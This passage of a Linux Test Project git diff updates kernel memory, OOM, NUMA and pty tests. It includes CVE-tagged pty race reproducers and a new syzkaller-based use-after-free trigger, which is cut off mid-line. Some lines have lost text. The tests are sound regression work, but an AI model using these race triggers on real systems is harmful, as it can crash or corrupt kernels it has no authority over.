"MAP_PRIVATE = %i", map_private ? 1 : 0); - tst_res(TINFO, "Execution time %fH", exec_time); } static void cleanup(void) @@ -184,11 +176,11 @@ static struct tst_test test = { {"l:", &str_loops, "Number of map-write-unmap loops"}, {"n:", &str_threads, "Number of worker threads"}, {"p", &map_private, "Turns on MAP_PRIVATE (default MAP_SHARED)"}, - {"x:", &str_exec_time, "float Execution time in hours (default 24H)"}, {} }, .needs_tmpdir = 1, .setup = setup, .cleanup = cleanup, .test_all = test_mmap, + .max_runtime = 60, }; diff --git a/testcases/kernel/mem/mtest07/mallocstress.c b/testcases/kernel/mem/mtest07/mallocstress.c index fa7494e7..2d047cf6 100755 --- a/testcases/kernel/mem/mtest07/mallocstress.c +++ b/testcases/kernel/mem/mtest07/mallocstress.c @@ -62,7 +62,7 @@ static void my_yield(void) * 0: success * 1: failure */ -int allocate_free(int scheme) +int allocate_free(int scheme, int threadnum) { int loop; const int MAXPTRS = 50; /* only 42 or so get used on 32 bit machine */ @@ -127,6 +127,11 @@ int allocate_free(int scheme) } my_yield(); + + if (!tst_remaining_runtime()) { + tst_res(TINFO, "Thread [%d]: Test runtime is over, exiting", threadnum); + break; + } } /* Success! */ @@ -141,7 +146,7 @@ void *alloc_mem(void *threadnum) TST_CHECKPOINT_WAIT(0); /* thread N will use growth scheme N mod 4 */ - err = allocate_free(((uintptr_t)threadnum) % 4); + err = allocate_free(((uintptr_t)threadnum) % 4, (uintptr_t)threadnum); tst_res(TINFO, "Thread [%d]: allocate_free() returned %d, %s. Thread exiting.\n", (int)(uintptr_t)threadnum, err, @@ -189,7 +194,7 @@ static void cleanup(void) } static struct tst_test test = { - .timeout = 600, + .max_runtime = 600, .needs_checkpoints = 1, .setup = setup, .cleanup = cleanup, diff --git a/testcases/kernel/mem/oom/oom01.c b/testcases/kernel/mem/oom/oom01.c index 258bfd89..b1369989 100755 --- a/testcases/kernel/mem/oom/oom01.c +++ b/testcases/kernel/mem/oom/oom01.c @@ -49,22 +49,13 @@ static void verify_oom(void) testoom(0, 0, ENOMEM, 1); } -static void setup(void) -{ - overcommit = get_sys_tune("overcommit_memory"); -} - -static void cleanup(void) -{ - if (overcommit != -1) - set_sys_tune("overcommit_memory", overcommit, 0); -} - static struct tst_test test = { .needs_root = 1, .forks_child = 1, - .timeout = -1, - .setup = setup, - .cleanup = cleanup, + .max_runtime = TST_UNLIMITED_RUNTIME, .test_all = verify_oom, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/vm/overcommit_memory", NULL, TST_SR_TBROK}, + {} + }, }; diff --git a/testcases/kernel/mem/oom/oom02.c b/testcases/kernel/mem/oom/oom02.c index 2b9bcb1b..8d565d12 100755 --- a/testcases/kernel/mem/oom/oom02.c +++ b/testcases/kernel/mem/oom/oom02.c @@ -56,24 +56,18 @@ static void setup(void) { if (!is_numa(NULL, NH_MEMS, 2)) tst_brk(TCONF, "The case need a NUMA system."); - - overcommit = get_sys_tune("overcommit_memory"); - set_sys_tune("overcommit_memory", 1, 1); -} - -static void cleanup(void) -{ - if (overcommit != -1) - set_sys_tune("overcommit_memory", overcommit, 0); } static struct tst_test test = { .needs_root = 1, .forks_child = 1, - .timeout = -1, + .max_runtime = TST_UNLIMITED_RUNTIME, .setup = setup, - .cleanup = cleanup, .test_all = verify_oom, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/vm/overcommit_memory", "1", TST_SR_TBROK}, + {} + }, }; #else diff --git a/testcases/kernel/mem/oom/oom03.c b/testcases/kernel/mem/oom/oom03.c index 45111916..778055d0 100755 --- a/testcases/kernel/mem/oom/oom03.c +++ b/testcases/kernel/mem/oom/oom03.c @@ -36,8 +36,6 @@ #ifdef HAVE_NUMA_V2 -static const struct tst_cgroup_group *cg; - static void verify_oom(void) { #ifdef TST_ABI32 @@ -45,7 +43,7 @@ static void verify_oom(void) #endif testoom(0, 0, ENOMEM, 1); - if (SAFE_CGROUP_HAS(cg, "memory.swap.max")) { + if (SAFE_CG_HAS(tst_cg, "memory.swap.max")) { tst_res(TINFO, "OOM on MEMCG with special memswap limitation:"); /* * Cgroup v2 tracks memory and swap in separate, which splits @@ -57,17 +55,17 @@ static void verify_oom(void) * let's scale down the value of 'memory.swap.max' to only * 1MB for CGroup v2. */ - if (!TST_CGROUP_VER_IS_V1(cg, "memory")) - SAFE_CGROUP_PRINTF(cg, "memory.swap.max", "%lu", MB); + if (!TST_CG_VER_IS_V1(tst_cg, "memory")) + SAFE_CG_PRINTF(tst_cg, "memory.swap.max", "%lu", MB); else - SAFE_CGROUP_PRINTF(cg, "memory.swap.max", "%lu", TESTMEM + MB); + SAFE_CG_PRINTF(tst_cg, "memory.swap.max", "%lu", TESTMEM + MB); testoom(0, 1, ENOMEM, 1); - if (TST_CGROUP_VER_IS_V1(cg, "memory")) - SAFE_CGROUP_PRINTF(cg, "memory.swap.max", "%lu", ~0UL); + if (TST_CG_VER_IS_V1(tst_cg, "memory")) + SAFE_CG_PRINTF(tst_cg, "memory.swap.max", "%lu", ~0UL); else - SAFE_CGROUP_PRINT(cg, "memory.swap.max", "max"); + SAFE_CG_PRINT(tst_cg, "memory.swap.max", "max"); } /* OOM for MEMCG with mempolicy */ @@ -81,29 +79,21 @@ static void verify_oom(void) static void setup(void) { - overcommit = get_sys_tune("overcommit_memory"); - set_sys_tune("overcommit_memory", 1, 1); - - tst_cgroup_require("memory", NULL); - cg = tst_cgroup_get_test_group(); - SAFE_CGROUP_PRINTF(cg, "cgroup.procs", "%d", getpid()); - SAFE_CGROUP_PRINTF(cg, "memory.max", "%lu", TESTMEM); -} - -static void cleanup(void) -{ - if (overcommit != -1) - set_sys_tune("overcommit_memory", overcommit, 0); - tst_cgroup_cleanup(); + SAFE_CG_PRINTF(tst_cg, "cgroup.procs", "%d", getpid()); + SAFE_CG_PRINTF(tst_cg, "memory.max", "%lu", TESTMEM); } static struct tst_test test = { .needs_root = 1, .forks_child = 1, - .timeout = -1, + .max_runtime = TST_UNLIMITED_RUNTIME, .setup = setup, - .cleanup = cleanup, .test_all = verify_oom, + .needs_cgroup_ctrls = (const char *const []){ "memory", NULL }, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/vm/overcommit_memory", "1", TST_SR_TBROK}, + {} + }, }; #else diff --git a/testcases/kernel/mem/oom/oom04.c b/testcases/kernel/mem/oom/oom04.c index f84328f5..d27d9d9e 100755 --- a/testcases/kernel/mem/oom/oom04.c +++ b/testcases/kernel/mem/oom/oom04.c @@ -36,8 +36,6 @@ #ifdef HAVE_NUMA_V2 -static const struct tst_cgroup_group *cg; - static void verify_oom(void) { #ifdef TST_ABI32 @@ -47,13 +45,13 @@ static void verify_oom(void) testoom(0, 0, ENOMEM, 1); if (is_numa(NULL, NH_MEMS, 2) && - SAFE_CGROUP_HAS(cg, "cpuset.memory_migrate")) { + SAFE_CG_HAS(tst_cg, "cpuset.memory_migrate")) { /* * Under NUMA system, the migration of cpuset's memory * is in charge of cpuset.memory_migrate, we can write * 1 to cpuset.memory_migrate to enable the migration. */ - SAFE_CGROUP_PRINT(cg, "cpuset.memory_migrate", "1"); + SAFE_CG_PRINT(tst_cg, "cpuset.memory_migrate", "1"); tst_res(TINFO, "OOM on CPUSET with mem migrate:"); testoom(0, 0, ENOMEM, 1); @@ -67,12 +65,6 @@ static void setup(void) if (!is_numa(NULL, NH_MEMS, 1)) tst_brk(TCONF, "requires NUMA with at least 1 node"); - overcommit = get_sys_tune("overcommit_memory"); - set_sys_tune("overcommit_memory", 1, 1); - - tst_cgroup_require("cpuset", NULL); - cg = tst_cgroup_get_test_group(); - /* * Some nodes do not contain memory, so use * get_allowed_nodes(NH_MEMS) to get a memory @@ -83,24 +75,21 @@ static void setup(void) if (ret < 0) tst_brk(TBROK, "Failed to get a memory node " "using get_allowed_nodes()"); - write_cpusets(cg, memnode); - SAFE_CGROUP_PRINTF(cg, "cgroup.procs", "%d", getpid()); -} - -static void cleanup(void) -{ - if (overcommit != -1) - set_sys_tune("overcommit_memory", overcommit, 0); - tst_cgroup_cleanup(); + write_cpusets(tst_cg, memnode); + SAFE_CG_PRINTF(tst_cg, "cgroup.procs", "%d", getpid()); } static struct tst_test test = { .needs_root = 1, .forks_child = 1, - .timeout = -1, + .max_runtime = TST_UNLIMITED_RUNTIME, .setup = setup, - .cleanup = cleanup, .test_all = verify_oom, + .needs_cgroup_ctrls = (const char *const []){ "cpuset", NULL }, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/vm/overcommit_memory", "1", TST_SR_TBROK}, + {} + }, }; #else diff --git a/testcases/kernel/mem/oom/oom05.c b/testcases/kernel/mem/oom/oom05.c index 06497261..eb1a6426 100755 --- a/testcases/kernel/mem/oom/oom05.c +++ b/testcases/kernel/mem/oom/oom05.c @@ -36,8 +36,6 @@ #ifdef HAVE_NUMA_V2 -static const struct tst_cgroup_group *cg; - static void verify_oom(void) { #ifdef TST_ABI32 @@ -53,29 +51,29 @@ static void verify_oom(void) * 1 to cpuset.memory_migrate to enable the migration. */ if (is_numa(NULL, NH_MEMS, 2) && - SAFE_CGROUP_HAS(cg, "cpuset.memory_migrate")) { - SAFE_CGROUP_PRINT(cg, "cpuset.memory_migrate", "1"); + SAFE_CG_HAS(tst_cg, "cpuset.memory_migrate")) { + SAFE_CG_PRINT(tst_cg, "cpuset.memory_migrate", "1"); tst_res(TINFO, "OOM on CPUSET & MEMCG with " "cpuset.memory_migrate=1"); testoom(0, 0, ENOMEM, 1); } - if (SAFE_CGROUP_HAS(cg, "memory.swap.max")) { + if (SAFE_CG_HAS(tst_cg, "memory.swap.max")) { tst_res(TINFO, "OOM on CPUSET & MEMCG with " "special memswap limitation:"); - if (!TST_CGROUP_VER_IS_V1(cg, "memory")) - SAFE_CGROUP_PRINTF(cg, "memory.swap.max", "%lu", MB); + if (!TST_CG_VER_IS_V1(tst_cg, "memory")) + SAFE_CG_PRINTF(tst_cg, "memory.swap.max", "%lu", MB); else - SAFE_CGROUP_PRINTF(cg, "memory.swap.max", "%lu", TESTMEM + MB); + SAFE_CG_PRINTF(tst_cg, "memory.swap.max", "%lu", TESTMEM + MB); testoom(0, 1, ENOMEM, 1); tst_res(TINFO, "OOM on CPUSET & MEMCG with " "disabled memswap limitation:"); - if (TST_CGROUP_VER_IS_V1(cg, "memory")) - SAFE_CGROUP_PRINTF(cg, "memory.swap.max", "%lu", ~0UL); + if (TST_CG_VER_IS_V1(tst_cg, "memory")) + SAFE_CG_PRINTF(tst_cg, "memory.swap.max", "%lu", ~0UL); else - SAFE_CGROUP_PRINT(cg, "memory.swap.max", "max"); + SAFE_CG_PRINT(tst_cg, "memory.swap.max", "max"); testoom(0, 0, ENOMEM, 1); } } @@ -87,13 +85,6 @@ void setup(void) if (!is_numa(NULL, NH_MEMS, 1)) tst_brk(TCONF, "requires NUMA with at least 1 node"); - overcommit = get_sys_tune("overcommit_memory"); - set_sys_tune("overcommit_memory", 1, 1); - - tst_cgroup_require("memory", NULL); - tst_cgroup_require("cpuset", NULL); - cg = tst_cgroup_get_test_group(); - /* * Some nodes do not contain memory, so use * get_allowed_nodes(NH_MEMS) to get a memory @@ -105,25 +96,24 @@ void setup(void) tst_brk(TBROK, "Failed to get a memory node " "using get_allowed_nodes()"); - write_cpusets(cg, memnode); - SAFE_CGROUP_PRINTF(cg, "cgroup.procs", "%d", getpid()); - SAFE_CGROUP_PRINTF(cg, "memory.max", "%lu", TESTMEM); -} - -void cleanup(void) -{ - if (overcommit != -1) - set_sys_tune("overcommit_memory", overcommit, 0); - tst_cgroup_cleanup(); + write_cpusets(tst_cg, memnode); + SAFE_CG_PRINTF(tst_cg, "cgroup.procs", "%d", getpid()); + SAFE_CG_PRINTF(tst_cg, "memory.max", "%lu", TESTMEM); } static struct tst_test test = { .needs_root = 1, .forks_child = 1, - .timeout = -1, + .max_runtime = TST_UNLIMITED_RUNTIME, .setup = setup, - .cleanup = cleanup, .test_all = verify_oom, + .needs_cgroup_ctrls = (const char *const []){ + "memory", "cpuset", NULL + }, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/vm/overcommit_memory", "1", TST_SR_TBROK}, + {} + }, }; #else diff --git a/testcases/kernel/mem/swapping/swapping01.c b/testcases/kernel/mem/swapping/swapping01.c index 6db0f986..fc225e4a 100755 --- a/testcases/kernel/mem/swapping/swapping01.c +++ b/testcases/kernel/mem/swapping/swapping01.c @@ -58,6 +58,7 @@ static long swap_free_init; static long mem_over; static long mem_over_max; static pid_t pid; +static unsigned int start_runtime; static void test_swapping(void) { @@ -67,6 +68,8 @@ static void test_swapping(void) FILE *file; char line[PATH_MAX]; + start_runtime = tst_remaining_runtime(); + file = SAFE_FOPEN("/proc/swaps", "r"); while (fgets(line, sizeof(line), file)) { if (strstr(line, "/dev/zram")) { @@ -95,10 +98,6 @@ static void init_meminfo(void) mem_over = mem_available_init * COE_SLIGHT_OVER; mem_over_max = mem_available_init * COE_DELTA; - /* at least 10MB available physical memory needed */ - if (mem_available_init < 10240) - tst_brk(TCONF, "Not enough available mem to test."); - if (swap_free_init < mem_over_max) tst_brk(TCONF, "Not enough swap space to test: swap_free_init(%ldkB) < mem_over_max(%ldkB)", swap_free_init, mem_over_max); @@ -126,7 +125,7 @@ static void do_alloc(int allow_raise) static void check_swapping(void) { - int status, i; + int status; long swap_free_now, swapped; /* wait child stop */ @@ -135,14 +134,14 @@ static void check_swapping(void) tst_brk(TBROK, "child was not stopped."); /* Still occupying memory, loop for a while */ - i = 0; - while (i < 30) { + while (tst_remaining_runtime() > start_runtime/2) { swap_free_now = SAFE_READ_MEMINFO("SwapFree:"); sleep(1); - if (labs(swap_free_now - SAFE_READ_MEMINFO("SwapFree:")) < 10) + long diff = labs(swap_free_now - SAFE_READ_MEMINFO("SwapFree:")); + if (diff < 10) break; - i++; + tst_res(TINFO, "SwapFree difference %li", diff); } swapped = SAFE_READ_PROC_STATUS(pid, "VmSwap:"); @@ -162,7 +161,13 @@ static void check_swapping(void) static struct tst_test test = { .needs_root = 1, .forks_child = 1, + .min_mem_avail = 10, + .max_runtime = 600, .test_all = test_swapping, + .needs_kconfigs = (const char *[]) { + "CONFIG_SWAP=y", + NULL + }, .tags = (const struct tst_tag[]) { {"linux-git", "50a15981a1fa"}, {} diff --git a/testcases/kernel/mem/thp/thp02.c b/testcases/kernel/mem/thp/thp02.c index a1b0ee0a..56568d1d 100755 --- a/testcases/kernel/mem/thp/thp02.c +++ b/testcases/kernel/mem/thp/thp02.c @@ -40,7 +40,6 @@ #include #include "mem.h" -#ifdef HAVE_MREMAP_FIXED static int ps; static long hps, size; @@ -119,7 +118,3 @@ static struct tst_test test = { .test_all = do_mremap, .forks_child = 1, }; - -#else - TST_TEST_TCONF("MREMAP_FIXED not present in "); -#endif /* HAVE_MREMAP_FIXED */ diff --git a/testcases/kernel/mem/thp/thp03.c b/testcases/kernel/mem/thp/thp03.c index c6062505..839efcb0 100755 --- a/testcases/kernel/mem/thp/thp03.c +++ b/testcases/kernel/mem/thp/thp03.c @@ -30,7 +30,6 @@ * corruption and no data corruption (nor userland nor kernel). */ -#include #include #include #include diff --git a/testcases/kernel/mem/thp/thp04.c b/testcases/kernel/mem/thp/thp04.c index 985394dc..b5f518ac 100755 --- a/testcases/kernel/mem/thp/thp04.c +++ b/testcases/kernel/mem/thp/thp04.c @@ -26,8 +26,6 @@ * commit 8310d48b125d("huge_memory.c: respect FOLL_FORCE/FOLL_COW for thp"). */ -#include - #include "tst_test.h" #include "lapi/mmap.h" #include "tst_fuzzy_sync.h" @@ -128,7 +126,7 @@ static void run(void) tst_fzsync_start_race_a(&fzsync_pair); SAFE_LSEEK(writefd, (off_t)write_ptr, SEEK_SET); madvise(write_thp, thp_size, MADV_DONTNEED); - SAFE_WRITE(1, writefd, &c, sizeof(int)); + SAFE_WRITE(SAFE_WRITE_ALL, writefd, &c, sizeof(int)); tst_fzsync_end_race_a(&fzsync_pair); /* Check the other huge zero page for pollution */ @@ -163,6 +161,7 @@ static struct tst_test test = { .test_all = run, .setup = setup, .cleanup = cleanup, + .max_runtime = 150, .tags = (const struct tst_tag[]) { {"linux-git", "a8f97366452e"}, {"linux-git", "8310d48b125d"}, diff --git a/testcases/kernel/mem/tunable/max_map_count.c b/testcases/kernel/mem/tunable/max_map_count.c index a4c3dbf8..f3309547 100755 --- a/testcases/kernel/mem/tunable/max_map_count.c +++ b/testcases/kernel/mem/tunable/max_map_count.c @@ -53,28 +53,6 @@ #define MAP_COUNT_DEFAULT 1024 #define MAX_MAP_COUNT 65536L -static long old_max_map_count = -1; -static long old_overcommit = -1; - -static void setup(void) -{ - if (access(PATH_SYSVM "max_map_count", F_OK) != 0) - tst_brk(TBROK | TERRNO, - "Can't support to test max_map_count"); - - old_max_map_count = get_sys_tune("max_map_count"); - old_overcommit = get_sys_tune("overcommit_memory"); - set_sys_tune("overcommit_memory", 0, 1); -} - -static void cleanup(void) -{ - if (old_overcommit != -1) - set_sys_tune("overcommit_memory", old_overcommit, 0); - if (old_max_map_count != -1) - set_sys_tune("max_map_count", old_max_map_count, 0); -} - /* This is a filter to exclude map entries which aren't accounted * for in the vm_area_struct's map_count. */ @@ -212,7 +190,10 @@ static void max_map_count_test(void) static struct tst_test test = { .needs_root = 1, .forks_child = 1, - .setup = setup, - .cleanup = cleanup, .test_all = max_map_count_test, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/vm/overcommit_memory", "0", TST_SR_TBROK}, + {"/proc/sys/vm/max_map_count", NULL, TST_SR_TBROK}, + {} + }, }; diff --git a/testcases/kernel/mem/tunable/min_free_kbytes.c b/testcases/kernel/mem/tunable/min_free_kbytes.c index 09741eea..19da409e 100755 --- a/testcases/kernel/mem/tunable/min_free_kbytes.c +++ b/testcases/kernel/mem/tunable/min_free_kbytes.c @@ -41,7 +41,6 @@ volatile int end; static long default_tune = -1; -static long orig_overcommit = -1; static unsigned long total_mem; static void test_tune(unsigned long overcommit_policy); @@ -217,22 +216,17 @@ static void setup(void) total_mem = SAFE_READ_MEMINFO("MemTotal:") + SAFE_READ_MEMINFO("SwapTotal:"); default_tune = get_sys_tune("min_free_kbytes"); - orig_overcommit = get_sys_tune("overcommit_memory"); -} - -static void cleanup(void) -{ - if (default_tune != -1) - set_sys_tune("min_free_kbytes", default_tune, 0); - if (orig_overcommit != -1) - set_sys_tune("overcommit_memory", orig_overcommit, 0); } static struct tst_test test = { .needs_root = 1, .forks_child = 1, - .timeout = -1, + .max_runtime = TST_UNLIMITED_RUNTIME, .setup = setup, - .cleanup = cleanup, .test_all = min_free_kbytes_test, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/vm/overcommit_memory", NULL, TST_SR_TBROK}, + {"/proc/sys/vm/min_free_kbytes", NULL, TST_SR_TBROK}, + {} + }, }; diff --git a/testcases/kernel/mem/tunable/overcommit_memory.c b/testcases/kernel/mem/tunable/overcommit_memory.c index 20151ebb..ffb7a6d9 100755 --- a/testcases/kernel/mem/tunable/overcommit_memory.c +++ b/testcases/kernel/mem/tunable/overcommit_memory.c @@ -70,7 +70,6 @@ #define EXPECT_FAIL 1 static char *R_opt; -static long old_overcommit_memory = -1; static long old_overcommit_ratio = -1; static long overcommit_ratio; static long sum_total; @@ -90,16 +89,11 @@ static void setup(void) long mem_total, swap_total; struct rlimit lim; - if (access(PATH_SYSVM "overcommit_memory", F_OK) == -1 || - access(PATH_SYSVM "overcommit_ratio", F_OK) == -1) - tst_brk(TCONF, "system doesn't support overcommit_memory"); - if (R_opt) overcommit_ratio = SAFE_STRTOL(R_opt, 0, LONG_MAX); else overcommit_ratio = DEFAULT_OVER_RATIO; - old_overcommit_memory = get_sys_tune("overcommit_memory"); old_overcommit_ratio = get_sys_tune("overcommit_ratio"); mem_total = SAFE_READ_MEMINFO("MemTotal:"); @@ -128,14 +122,6 @@ static void setup(void) tst_res(TINFO, "TotalBatchSize is %ld kB", total_batch_size); } -static void cleanup(void) -{ - if (old_overcommit_memory != -1) - set_sys_tune("overcommit_memory", old_overcommit_memory, 0); - if (old_overcommit_ratio != -1) - set_sys_tune("overcommit_ratio", old_overcommit_ratio, 0); -} - static void overcommit_memory_test(void) { @@ -248,9 +234,9 @@ static void calculate_total_batch_size(void) SAFE_SYSINFO(&info); /* see linux source mm/mm_init.c mm_compute_batch() (This is in pages) */ - long batch_size = MAX(ncpus * 2, - MAX(32, - MIN(INT32_MAX, + long batch_size = MAX(ncpus * 2L, + MAX(32L, + MIN((long)INT32_MAX, (long)(info.totalram / pagesize) / ncpus / 256 ) ) @@ -269,6 +255,10 @@ static struct tst_test test = { {} }, .setup = setup, - .cleanup = cleanup, .test_all = overcommit_memory_test, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/vm/overcommit_memory", NULL, TST_SR_TBROK}, + {"/proc/sys/vm/overcommit_ratio", NULL, TST_SR_TBROK}, + {} + }, }; diff --git a/testcases/kernel/mem/vma/vma01.c b/testcases/kernel/mem/vma/vma01.c index 31322918..d220b636 100755 --- a/testcases/kernel/mem/vma/vma01.c +++ b/testcases/kernel/mem/vma/vma01.c @@ -187,13 +187,7 @@ static void check_status(int status) tst_resm(TPASS, "two 3*ps VMAs found."); break; case 1: - if (tst_kvercmp(3, 0, 0) < 0) { - tst_resm(TCONF, "A single 6*ps VMA found. You may need" - " to back port kernel commit 965f55d " - "to fix this scalability issue."); - } else { - tst_resm(TFAIL, "A single 6*ps VMA found."); - } + tst_resm(TFAIL, "A single 6*ps VMA found."); break; default: tst_brkm(TBROK, cleanup, "unexpected VMA found."); diff --git a/testcases/kernel/mem/vma/vma05.sh b/testcases/kernel/mem/vma/vma05.sh index c94a4b96..c9e4becd 100755 --- a/testcases/kernel/mem/vma/vma05.sh +++ b/testcases/kernel/mem/vma/vma05.sh @@ -23,8 +23,6 @@ TST_NEEDS_ROOT=1 TST_NEEDS_TMPDIR=1 TST_NEEDS_CMDS="gdb" -. tst_test.sh - CORE_LIMIT=$(ulimit -c) CORE_PATTERN=$(cat /proc/sys/kernel/core_pattern) @@ -32,6 +30,7 @@ setup() { ulimit -c unlimited echo "core" > /proc/sys/kernel/core_pattern + unset DEBUGINFOD_URLS } cleanup() @@ -64,4 +63,5 @@ vma_report_check() fi } +. tst_test.sh tst_run diff --git a/testcases/kernel/numa/numa01.sh b/testcases/kernel/numa/numa01.sh index 803545f1..0181cd8f 100755 --- a/testcases/kernel/numa/numa01.sh +++ b/testcases/kernel/numa/numa01.sh @@ -22,8 +22,6 @@ TST_NEEDS_TMPDIR=1 TST_NEEDS_ROOT=1 TST_NEEDS_CMDS="awk bc numactl numastat" -. tst_test.sh - # Awk the field matching the node value for numastat # $1 - Pid number # $2 - Node number @@ -35,7 +33,7 @@ get_node_index() -v node="$nid" '{ for (i = 1; i <= NF; ++i) if($i==node) print i; exit }') } -# Convert the value of given numa node from the `numastat -p` output, +# Convert the value of given NUMA node from the `numastat -p` output, # multiply by size. # $1 - Pid number # $2 - Node number @@ -82,9 +80,9 @@ setup() done tst_res TINFO "The system contains $total_nodes nodes: $nodes_list" + if [ $total_nodes -le 1 ]; then - tst_brk TCONF "your machine does not support numa policy - or your machine is not a NUMA machine" + tst_brk TCONF "SUT does not support NUMA policy or not a NUMA machine" fi } @@ -185,7 +183,7 @@ test4() no_of_cpus=$(tst_ncpus) # not sure whether cpu's can't be in odd number run_on_cpu=$(($((no_of_cpus+1))/2)) - numactl --physcpubind=$run_on_cpu support_numa pause & #just waits for sigint + numactl --all --physcpubind=$run_on_cpu support_numa pause & #just waits for sigint pid=$! var=`awk '{ print $2 }' /proc/$pid/stat` while [ $var = '(numactl)' ]; do @@ -292,10 +290,10 @@ test7() RC=$(awk '{ if ( NR == 1 ) {print $2;} }' gavail_nodes) tst_res TPASS "NUMA policy on lib NUMA_NODE_SIZE API" else - tst_res TFAIL "Failed with numa policy" + tst_res TFAIL "Failed with NUMA policy" fi else - tst_res TFAIL "Failed with numa policy" + tst_res TFAIL "Failed with NUMA policy" fi } @@ -383,4 +381,5 @@ test9() tst_res TPASS "NUMA preferred node policy verified with THP enabled" } +. tst_test.sh tst_run diff --git a/testcases/kernel/numa/support_numa.c b/testcases/kernel/numa/support_numa.c index a0afee55..6fb82f37 100755 --- a/testcases/kernel/numa/support_numa.c +++ b/testcases/kernel/numa/support_numa.c @@ -37,7 +37,6 @@ #include #include #include -#include #include #include "lapi/mmap.h" diff --git a/testcases/kernel/power_management/README b/testcases/kernel/power_management/README index 8a3b57eb..b8d6c316 100755 --- a/testcases/kernel/power_management/README +++ b/testcases/kernel/power_management/README @@ -82,6 +82,6 @@ To run cpu consolidation test user has to provide -w -l disc_data) + * close/hangup. This at least allows the netdev private data (tty->disc_data) * to be set to NULL or possibly freed while a transmit operation is being * added to a workqueue. * @@ -22,11 +24,11 @@ * We also test a selection of other line disciplines, but only SLIP and SLCAN * are known to have the problem. * - * Fixed by commit 0ace17d568241: - * "can, slip: Protect tty->disc_data in write_wakeup and close with RCU" - * - * This is also regression test for commit: - * dd42bf1197144 ("tty: Prevent ldisc drivers from re-using stale tty fields") + * Fixed by commit from v5.5: + * 0ace17d56824 ("can, slip: Protect tty->disc_data in write_wakeup and close with RCU") + + * This is also regression test for commit from v4.5-rc1: + * dd42bf119714 ("tty: Prevent ldisc drivers from re-using stale tty fields") */ #define _GNU_SOURCE @@ -135,7 +137,6 @@ static void do_test(unsigned int n) static void setup(void) { fzp.min_samples = 20; - fzp.exec_time_p = 0.1; tst_fzsync_pair_init(&fzp); } @@ -151,6 +152,11 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .needs_root = 1, + .max_runtime = 30, + .needs_kconfigs = (const char *const[]){ + "CONFIG_SERIO_SERPORT", + NULL + }, .tags = (const struct tst_tag[]) { {"linux-git", "0ace17d568241"}, {"CVE", "2020-14416"}, diff --git a/testcases/kernel/pty/pty04.c b/testcases/kernel/pty/pty04.c index 00b714c8..8c7b1bf9 100755 --- a/testcases/kernel/pty/pty04.c +++ b/testcases/kernel/pty/pty04.c @@ -78,7 +78,6 @@ struct can_frame { #include "tst_safe_stdio.h" -#define str(s) #s #define SLCAN_FRAME "t00185f5f5f5f5f5f5f5f\r" struct ldisc_info { @@ -92,7 +91,7 @@ static struct ldisc_info ldiscs[] = { {N_SLCAN, "N_SLCAN", CAN_MTU}, }; -static int ptmx, pts, sk, mtu, no_check; +static int ptmx = -1, pts = -1, sk = -1, mtu, no_check; static int set_ldisc(int tty, const struct ldisc_info *ldisc) { @@ -296,7 +295,7 @@ static void check_data(const struct ldisc_info *ldisc, } if (frm.can_dlc != CAN_MAX_DLEN) { - tst_res(TFAIL, "can_dlc = %d != " str(CAN_MAX_DLEN), + tst_res(TFAIL, "can_dlc = %d != " TST_TO_STR_(CAN_MAX_DLEN), frm.can_dlc); no_check = 1; } @@ -455,9 +454,14 @@ static void do_test(unsigned int n) static void cleanup(void) { - ioctl(pts, TIOCVHANGUP); - ioctl(ptmx, TIOCVHANGUP); - close(sk); + if (pts >= 0) + ioctl(pts, TIOCVHANGUP); + + if (ptmx >= 0) + ioctl(ptmx, TIOCVHANGUP); + + if (sk >= 0) + close(sk); tst_reap_children(); } diff --git a/testcases/kernel/pty/pty05.c b/testcases/kernel/pty/pty05.c index afef051c..925ce385 100755 --- a/testcases/kernel/pty/pty05.c +++ b/testcases/kernel/pty/pty05.c @@ -67,7 +67,7 @@ static void run(void) } SAFE_IOCTL(ptmx, TCXONC, TCOOFF); - SAFE_WRITE(1, ptmx, buf, BUF_SIZE); + SAFE_WRITE(SAFE_WRITE_ALL, ptmx, buf, BUF_SIZE); tst_fzsync_start_race_a(&fzsync_pair); ioctl(ptmx, TCXONC, TCOON); @@ -97,6 +97,7 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .taint_check = TST_TAINT_W | TST_TAINT_D, + .max_runtime = 150, .tags = (const struct tst_tag[]) { {"linux-git", "82f2341c94d27"}, {"CVE", "2017-2636"}, diff --git a/testcases/kernel/pty/pty06.c b/testcases/kernel/pty/pty06.c new file mode 100644 index 00000000..cc95eb1a --- /dev/null +++ b/testcases/kernel/pty/pty06.c @@ -0,0 +1,106 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2022 xiaoshoukui + */ + +/*\ + * [Description] + * + * Test based on Syzkaller reproducer: + * https://syzkaller.appspot.com/bug?extid=522643ab5729b0421998 + * + * The VT_DISALLOCATE ioctl can free a virtual console while tty_release() is + * still running, causing a use-after-free in con_shutdown(). This occurs + * because VT_DISALLOCATE only considers a virtual console to be in-use if it + * has a tty_struct with count > 0. But actually when count == 0, the tty is + * still in the process of being closed. + * + * Fixed by commit: + * + * commit ca4463bf8438b403596edd0ec961ca0d4fbe0220 + * Author: Eric Biggers + * Date: Sat Mar 21 20:43:04 2020 -0700 + * + * vt: vt_ioctl: fix VT_DISALLOCATE freeing in-use virtual console + */ + +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include "lapi/ioctl.h" + +#include "tst_test.h" +#include "tst_safe_stdio.h" +#include "tst_fuzzy_sync.h" + +#define BUF_SIZE 256 +static char tty_path_a[BUF_SIZE]; +static char tty_path_b[BUF_SIZE]; +static int test_tty_port = 8; +static struct tst_fzsync_pair fzp; + +static void *open_close(void *unused) +{ + while (tst_fzsync_run_b(&fzp)) { + tst_fzsync_start_race_b(&fzp); + int fd = SAFE_OPEN(tty_path_b, O_RDWR); + + SAFE_CLOSE(fd); + tst_fzsync_end_race_b(&fzp); + } + + return unused; +} + +static void do_test(void) +{ + int fd = SAFE_OPEN(tty_path_a, O_RDWR); + + tst_fzsync_pair_reset(&fzp, open_close); + + while (tst_fzsync_run_a(&fzp)) { + tst_fzsync_start_race_a(&fzp); + ioctl(fd, 